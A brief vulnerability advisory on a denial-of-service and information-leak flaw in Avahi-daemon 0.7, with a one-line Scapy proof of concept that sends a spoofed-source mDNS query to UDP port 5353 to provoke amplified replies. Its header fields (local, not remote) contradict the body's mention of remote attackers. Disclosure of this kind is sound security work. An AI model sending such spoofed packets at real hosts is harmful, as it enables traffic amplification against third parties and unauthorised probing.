Avahi 0.7 Denial Of Service

2018.11.29
Risk: Medium
Local: Yes
Remote: No
CVE: N/A
CWE: N/A

Hi! Avahi-daemon in Avahi through 0.7 inadvertently sends Legacy Unicast Responses to IPv4 unicast queries with source addresses that are not link-local, which allows remote attackers to cause a denial of service (traffic amplification) or obtain potentially sensitive information via port-5353 UDP packets. send(IP(src="1.1.1.1",dst="192.168.1.1")/UDP(sport=53, dport=5353)/DNS(rd=1,qd=DNSQR(qtype="PTR", qname="_ssh._tcp.local."))) Author was notified by his bug tracker: https://github.com/lathiat/avahi/issues/203 Regards, -- Krzysztof Burghardt <krzysztof@burghardt.pl> http://www.burghardt.pl/


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